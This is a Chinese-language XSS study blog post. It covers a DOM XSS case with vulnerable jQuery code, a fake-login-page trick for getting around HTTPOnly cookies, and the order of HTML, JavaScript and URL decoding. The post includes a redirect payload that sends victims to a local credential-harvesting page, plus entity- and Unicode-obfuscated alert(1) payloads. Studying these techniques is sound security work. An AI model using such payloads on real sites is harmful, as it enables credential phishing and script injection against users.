XSS深入学习

有些东西总以为自己已经掌握了,实际上并没有Orz

DOMXSS

案例

https://hackerone.com/reports/474656

1
2
3
4
5
6
7
8
9
10
//Checking for potential Lever source or origin parameters
var pageUrl = window.location.href;
var leverParameter = '';
var trackingPrefix = '?lever-'

if( pageUrl.indexOf(trackingPrefix) >= 0){
// Found Lever parameter
var pageUrlSplit = pageUrl.split(trackingPrefix);
leverParameter = '?lever-'+pageUrlSplit[1];
}
1
2
3
4
5
6
7
8
9
10
11
var link = posting.hostedUrl+leverParameter;

jQuery('#jobs-container .jobs-list').append(
'<div class="job '+teamCleanString+' '+locationCleanString.replace(',', '')+' '+commitmentCleanString+'">' +
'<a class="job-title" href="'+link+'"">'+title+'</a>' +
'<p class="tags"><span>'+team+'</span><span>'+location+'</span><span>'+commitment+'</span></p>' +
'<p class="description">'+shortDescription+'</p>' +
'<a class="btn" href="'+link+'">Learn more</a>' +
'</div>'

);

link取决于leverParameter,而leverParameter又是由url决定的,且link通过Jquery添加到了页面中,从而导致了XSS

HTTPOnly

当有HTTPOnly的时候关键Cookie就会无法获取,普遍绕过方式是通过伪造登陆界面直接获取管理员账号密码

本地搭建一个环境作为示例

image-20200115235608373

某后台登录界面

Ctrl+S到本地

image-20200115235709483

虽然有些区别,但是先将就啦,同时为了方便,将POST请求改为了GET请求,真实情况可以更加真实~

这里使用python的简易服务器,只要输入账号密码并登录后就会像本地服务器发送账号密码

首先需要构造XSS,首先是URL跳转

1
2
alert("登陆超时,请重新登录!");//伪造登陆超时
window.location.href="http://localhost:8000/";//跳转到恶意界面

image-20200116000817898

image-20200116001026372

输入用户名密码后

image-20200116001044434

浏览器编码

编码形式

  • HTML编码

    有两种形式,实体名称和实体编号

    image-20200115204158797

    并不是所有实体编号都有对应得实体名称

  • JavaScript编码

    常用的有形如\uxxxx的Unicode转义序列,如<的编码为\u003C

  • URL编码

编码规则

  1. HTML解析器对HTML文档进行解析,完成HTML解码并且创建DOM树
  2. JavaScript进行解析
  3. URL根据所在顺序决定在JS解码前或解码后解码

除了script、style标签内容不会被HTML解码,其他均要完成HTML解码

示例:

1
2
3
4
&#60;img src=@ &#62;
<script>
&#x61;&#x6C;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;; //alert(1);
</script>

image-20200115210645633

script标签外的实体编码被解码,而标签内的不会。

同时,我们可以注意到img标签并没有解析成标签

image-20200115210844017

这是因为HTML只有在读取到<后才会将其视为标签,而实际上这里是&#60;

对JS解析器来说Unicode字符转义序列出现在控制字符中时将表示字符,控制字符即’、”、()等

示例:

1
2
3
4
5
<script>
alert("\u0031");
\u0061\u006c\u0065\u0072\u0074(1);
alert\u0028"1");
</script>

image-20200115212122938

此外 HTML解码一定是最先进行的,及

1
<img src="1" onerror="\u0061\u006c\u0065\u0072\u0074&#x28;1&#x29;" />

会先被解析成

1
<img src="1" onerror="\u0061\u006c\u0065\u0072\u0074(1)" />

之后是

1
<img src="1" onerror="alert(1)" />

参考资料:

https://www.mrwu.red/biji/3047.html

https://mp.weixin.qq.com/s/liODgY4NjYqdWg3JgPXMdA